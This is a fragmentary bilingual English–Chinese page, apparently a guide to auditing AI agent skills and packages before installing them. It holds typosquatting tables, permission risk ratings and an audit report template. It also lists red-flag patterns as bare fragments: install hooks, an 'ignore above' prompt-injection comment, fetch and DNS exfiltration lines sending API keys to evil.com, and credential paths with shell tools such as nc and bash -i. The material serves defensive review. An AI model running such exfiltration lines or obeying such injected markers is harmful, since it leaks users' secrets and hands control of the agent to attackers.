Loading...
Loading...
Compare original and translation side by side
nameversiondescriptionauthor| Technique | Legitimate | Typosquat |
|---|---|---|
| Missing char | github-push | gihub-push |
| Extra char | lodash | lodashs |
| Char swap | code-reviewer | code-reveiw |
| Homoglyph | babel | babe1 (L→1) |
| Scope confusion | @types/node | @tyeps/node |
| Hyphen trick | react-dom | react_dom |
nameversiondescriptionauthor| 手段 | 合法名称 | 仿冒名称 |
|---|---|---|
| 字符缺失 | github-push | gihub-push |
| 字符冗余 | lodash | lodashs |
| 字符调换 | code-reviewer | code-reveiw |
| 同形异义字 | babel | babe1(L→1) |
| 范围混淆 | @types/node | @tyeps/node |
| 连字符陷阱 | react-dom | react_dom |
| Permission | Risk | Justification Required |
|---|---|---|
| Low | Almost always legitimate |
| Medium | Must explain what files are written |
| High | Must list exact endpoints |
| Critical | Must list exact commands |
| Combination | Risk | Why |
|---|---|---|
| CRITICAL | Read any file + send it out = exfiltration |
| CRITICAL | Execute commands + send output externally |
| HIGH | Modify system files + persist backdoors |
| All four permissions | CRITICAL | Full system access without justification |
fileReadnetwork + shell| 权限 | 风险等级 | 是否需要说明理由 |
|---|---|---|
| 低 | 几乎都是合法需求 |
| 中 | 必须说明要写入的文件 |
| 高 | 必须列出确切的端点 |
| 极高 | 必须列出确切的命令 |
| 组合 | 风险等级 | 原因 |
|---|---|---|
| 极高 | 读取任意文件+向外发送=数据泄露 |
| 极高 | 执行命令+向外发送输出结果 |
| 高 | 修改系统文件+植入后门持久化 |
| 同时请求四个权限 | 极高 | 无理由获取完整系统访问权限 |
fileReadnetwork + shellnpm installpip installgo getpostinstallpreinstallchild_processnetdnshttpnpm installpip installgo getpostinstallpreinstallchild_processnetdnshttp<!-- ignore above --><!-- ignore above -->networkhttp://185.143.x.x/fetch(url?key=${process.env.API_KEY})dns.resolve(${data}.evil.com)networkhttp://185.143.x.x/fetch(url?key=${process.env.API_KEY})dns.resolve(${data}.evil.com)~/.ssh~/.aws~/.envcurlwgetncbash -i/**/*/etc/.bashrc.zshrcsudo~/.ssh~/.aws~/.envcurlwgetncbash -i/**/*/etc/.bashrc.zshrcsudoSKILL AUDIT REPORT
==================
Skill: <name>
Author: <author>
Version: <version>
Source: <URL or local path>
VERDICT: SAFE / SUSPICIOUS / DANGEROUS / BLOCK
CHECKS:
[1] Metadata & typosquat: PASS / FAIL — <details>
[2] Permissions: PASS / WARN / FAIL — <details>
[3] Dependencies: PASS / WARN / FAIL / N/A — <details>
[4] Prompt injection: PASS / WARN / FAIL — <details>
[5] Network & exfil: PASS / WARN / FAIL / N/A — <details>
[6] Content red flags: PASS / WARN / FAIL — <details>
RED FLAGS: <count>
[CRITICAL] <finding>
[HIGH] <finding>
...
SAFE-RUN PLAN:
Network: none / restricted to <endpoints>
Sandbox: required / recommended
Paths: <allowed read/write paths>
RECOMMENDATION: install / review further / do not installSKILL AUDIT REPORT
==================
Skill: <name>
Author: <author>
Version: <version>
Source: <URL or local path>
VERDICT: SAFE / SUSPICIOUS / DANGEROUS / BLOCK
CHECKS:
[1] Metadata & typosquat: PASS / FAIL — <details>
[2] Permissions: PASS / WARN / FAIL — <details>
[3] Dependencies: PASS / WARN / FAIL / N/A — <details>
[4] Prompt injection: PASS / WARN / FAIL — <details>
[5] Network & exfil: PASS / WARN / FAIL / N/A — <details>
[6] Content red flags: PASS / WARN / FAIL — <details>
RED FLAGS: <count>
[CRITICAL] <finding>
[HIGH] <finding>
...
SAFE-RUN PLAN:
Network: none / restricted to <endpoints>
Sandbox: required / recommended
Paths: <allowed read/write paths>
RECOMMENDATION: install / review further / do not install